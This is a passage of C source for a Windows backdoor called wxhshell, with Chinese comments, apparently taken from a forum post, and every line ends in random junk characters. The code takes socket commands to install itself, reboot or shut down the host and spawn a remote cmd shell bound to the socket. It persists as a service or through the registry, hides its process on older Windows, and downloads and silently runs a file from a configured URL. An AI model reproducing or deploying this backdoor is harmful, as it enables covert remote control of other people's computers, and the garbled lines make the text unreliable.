  } P_)=sj!>-  
  else { 1'|gxYT  
NdrR+t^#  
    switch(cmd[0]) { yQf(/Uxk*x  
  N_d{E/  
  // 帮助 2Sk"S/4}Z  
  case '?': { k106fT]eX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]~ !CJ8d  
    break; 5F#FC89Kk  
  } yT[=!M  
  // 安装 a*uG^~ ).  
  case 'i': { 1\nzfxx  
    if(Install()) ^ 4*#QtO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"p\-Z  
    else W)8Pq9Hnv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TeFi[1  
    break; 4gZ)9ya   
    } b*ja,I4  
  // 卸载 ;te( {u+  
  case 'r': { 0[ (kFe  
    if(Uninstall()) D[)_ f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N:~4>p44[  
    else '*^9'=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Y@q?ey[1  
    break; N%%trlDXD  
    } 8C@6 b4VK  
  // 显示 wxhshell 所在路径 .9?GKD  
  case 'p': { g |H  
    char svExeFile[MAX_PATH]; A (H2Gt D  
    strcpy(svExeFile,"\n\r"); U>@AE  
      strcat(svExeFile,ExeFile); u"m TS&  
        send(wsh,svExeFile,strlen(svExeFile),0); BCtKxtbS  
    break; f?> ?jf  
    } AQ,"):ofvT  
  // 重启 }<&?t;  
  case 'b': { Wevd6)\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &h_Y?5kK  
    if(Boot(REBOOT)) t+\<i8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }pGjc_:']  
    else { sE ^YOT<  
    closesocket(wsh); n)\(\V7  
    ExitThread(0); EAy@kzY?  
    } l dp$jrNLr  
    break; t<`d*M2w  
    } F{c8{?:  
  // 关机 M^Tm{`O!  
  case 'd': { ;aD?BD__Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xxwbX6^d  
    if(Boot(SHUTDOWN)) FR>[ g`1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /U-+ClZi@  
    else { Cq'{ %  
    closesocket(wsh); HTMg{_r(%  
    ExitThread(0); W8r"dK  
    } bZ^'_OOn  
    break; Rt5pl,Nf  
    } vU(fd!V ?  
  // 获取shell v*c"SI=@M=  
  case 's': { lJ,\^\q  
    CmdShell(wsh); 8kvA^r`  
    closesocket(wsh); BzV97'  
    ExitThread(0); e)m6xiZ  
    break; :))&"GY  
  } y]+[o1]-c  
  // 退出 {fjBa,o #  
  case 'x': { | g1Cs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,_s.amL3O{  
    CloseIt(wsh); fjY:u,5V_  
    break; ei"c|/pO  
    } [j0jAl  
  // 离开 J8ScKMUN2  
  case 'q': { %oquHkX%OJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %UhLCyC/  
    closesocket(wsh); sx]{N  
    WSACleanup(); Qvel#*-4  
    exit(1); J3e'?3w[  
    break; kD7'BP/#  
        } _18Z]XtX  
  } 5NhAb$q2Y  
  } H9(UzyN>i  
W39J)~D^@  
  // 提示信息 6q!Q(_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o6:bmKWE  
} GG-b)64h`  
  } [:q J1^UU  
f6nuh&!-  
  return; UZmo?&y  
} f.bwA x  
}RKsS3}   
// shell模块句柄 n_k`L(8*  
int CmdShell(SOCKET sock) A (p^Q  
{ OW@"j;6 3`  
STARTUPINFO si; :$gs7<z{rm  
ZeroMemory(&si,sizeof(si)); atw*t1)g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jeJspch+#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  Z'l!/l!  
PROCESS_INFORMATION ProcessInfo; ma!C:C9#J  
char cmdline[]="cmd"; >< P<k&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7oc Ng  
  return 0; "] Uj _d  
} ~b0l?P*Ff  
7I@df.rf6J  
// 自身启动模式 {u9n?Z%  
int StartFromService(void) F!Cn'*  
{ 7FD,TJs  
typedef struct 3x 7fa^umR  
{ 5wha _Yet  
  DWORD ExitStatus; o iC@ /  
  DWORD PebBaseAddress; !&3"($-U3G  
  DWORD AffinityMask; -#R`n'/  
  DWORD BasePriority; lj:.}+]r  
  ULONG UniqueProcessId; |T/s>OW  
  ULONG InheritedFromUniqueProcessId; p$= 3$I  
}   PROCESS_BASIC_INFORMATION; S3$C#mHX  
0>D*d'xLd  
PROCNTQSIP NtQueryInformationProcess; F 9d6#~  
jTZi< Y:bB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9j5|o([J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ShvC4Xb 0  
o|c&$)m  
  HANDLE             hProcess; ?<Hgq8J  
  PROCESS_BASIC_INFORMATION pbi; jC$~m#F  
p@O,-&/D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z@?y(E  
  if(NULL == hInst ) return 0; )8'v@8;-  
 vILB$%I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UH;bg}=8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a`]ZyG*P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {7MY*&P$,  
v6 |[p  
  if (!NtQueryInformationProcess) return 0; /~7M @`1  
mG@[~w+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RlU?F  
  if(!hProcess) return 0; R>1oF]w  
2"j&_$#l5X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i,% N#  
Pgq(yPC  
  CloseHandle(hProcess); vpOGyvI  
c&aqN\'4"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4:733Q3oK  
if(hProcess==NULL) return 0; G`&P|xYg  
*~cNUyd  
HMODULE hMod; Ux{QYjF E  
char procName[255]; heB![N0:  
unsigned long cbNeeded; fA0wQz]u  
qu]a+cYY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "*V'   
=CS$c?  
  CloseHandle(hProcess); *f{4 _ts  
[D(JEO@ :  
if(strstr(procName,"services")) return 1; // 以服务启动 V$;`#J$\b  
e6qIC*C!  
  return 0; // 注册表启动 O U9{Y9e  
} r2PN[cLu|  
(2"4PU8  
// 主模块 9&<c)sS&B  
int StartWxhshell(LPSTR lpCmdLine) B<h4ZK%  
{ (!0_s48f  
  SOCKET wsl; B}* \ pdJ  
BOOL val=TRUE; _ Qek|>  
  int port=0; ,I+O;B:0  
  struct sockaddr_in door; kK 5~hpv  
]W%rhppC  
  if(wscfg.ws_autoins) Install(); qoZAZ&|HI  
u`oJ3mS;  
port=atoi(lpCmdLine); D+oV( Pw,  
s>WqVuXmn  
if(port<=0) port=wscfg.ws_port; =,i?8Fuz  
gvo5^O+)HH  
  WSADATA data; uH7rt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1DL+=-  
J p%J02  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;j(*:Nt1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l^o>7 cM  
  door.sin_family = AF_INET; R`@7f$;wG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i=M[$   
  door.sin_port = htons(port); mz;ExV16  
~ 7Nqwwx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aO9\8\^  
closesocket(wsl); E%stFyr9`/  
return 1; Do^yer~  
} -x J\/"A  
upJ y,|5  
  if(listen(wsl,2) == INVALID_SOCKET) { 7)Tix7:9S;  
closesocket(wsl); #^ .G^d(=  
return 1; i12G\Ye  
} j.+,c#hFo  
  Wxhshell(wsl); IBNb!mPu%  
  WSACleanup();  #.Ly  
4"{g{8  
return 0; //Xz  
20`XklV  
} L]BTX]  
73tjDO7d  
// 以NT服务方式启动 P>x88M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7ruWmy;j  
{ >Yv#t.!  
DWORD   status = 0;  P/]8+_K  
  DWORD   specificError = 0xfffffff; T:CWxusL  
(>P z3 7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N5k9o:2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mt e3k=17  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XoMgb DC  
  serviceStatus.dwWin32ExitCode     = 0; *|0W3uy\Y  
  serviceStatus.dwServiceSpecificExitCode = 0; Z vyF"4QN  
  serviceStatus.dwCheckPoint       = 0; *0'{ n*>  
  serviceStatus.dwWaitHint       = 0; WFS6N.Ap  
%VXIiu[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~wGjr7Wt  
  if (hServiceStatusHandle==0) return; y6s/S.  
SxC(:k2b;  
status = GetLastError(); Mz lE  
  if (status!=NO_ERROR) 0{?%"t\/f  
{ +OB&PE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [!ZYtp?Hf  
    serviceStatus.dwCheckPoint       = 0; L9whgXD  
    serviceStatus.dwWaitHint       = 0; ~IQjQz?  
    serviceStatus.dwWin32ExitCode     = status; k<"N^+GSz  
    serviceStatus.dwServiceSpecificExitCode = specificError; YsO`1D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rob: W|  
    return; aIWpgUd`  
  } (ijO|%?  
qrt2uE{K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bs?4|#[K  
  serviceStatus.dwCheckPoint       = 0; *S Z]xrs  
  serviceStatus.dwWaitHint       = 0; C{ Z*5)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (hv}K*c{  
} W`n_m&Y\  
.=c@ps  
// 处理NT服务事件,比如:启动、停止 >g[Wnzf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZQ[s:  
{ xrJ0  
switch(fdwControl) ~<osL  
{ %u]>K(tU  
case SERVICE_CONTROL_STOP: [Kbna>`  
  serviceStatus.dwWin32ExitCode = 0; O9p^P%U"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0upZ4eN  
  serviceStatus.dwCheckPoint   = 0; , -Lv3  
  serviceStatus.dwWaitHint     = 0; 2b :I .  
  { mFIIqkUAL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\kd78,  
  } ?/p."N:]H  
  return; 0E&XD&D  
case SERVICE_CONTROL_PAUSE: +.hJ[|F1&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (Pt*|@i2c  
  break; _)# ~D*3  
case SERVICE_CONTROL_CONTINUE: D,uT#P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y|wR)\  
  break; ACgWT  
case SERVICE_CONTROL_INTERROGATE: `7',RUj|D  
  break; _'s5FlZq  
}; \z2d=E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dBW#PRg  
} ['0^gN$:e  
IRI<no  
// 标准应用程序主函数 c;R .rV<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^}GR!990  
{ a &R,jq  
[3W+h1  
// 获取操作系统版本 uRw%`J4H  
OsIsNt=GetOsVer(); Fd9Z7C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "QY~V{u5  
jH4Wu`r;m  
  // 从命令行安装 9p"';*{=  
  if(strpbrk(lpCmdLine,"iI")) Install(); m$q*  
UAdj [m61  
  // 下载执行文件 /B  
if(wscfg.ws_downexe) { jbTyM"Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j!`2Z@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]g9n#$|.  
} =iPQ\_ON@  
u\UI6/  
if(!OsIsNt) { cuQ=bRIb  
// 如果时win9x,隐藏进程并且设置为注册表启动 6[>Zy)P  
HideProc(); ]PXpzruy  
StartWxhshell(lpCmdLine); (8j@+J   
} 8L(KdDY  
else S'v UxOAo  
  if(StartFromService()) H Sk}09GV  
  // 以服务方式启动 DRi/<  
  StartServiceCtrlDispatcher(DispatchTable); n L!nzA  
else c1_?Z  
  // 普通方式启动 {*4Z9.2c*  
  StartWxhshell(lpCmdLine); TUVqQ\oF:  
s-xby~  
return 0; VnMiZAHR  
}
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只看该作者 1 发表于: 2006-10-10
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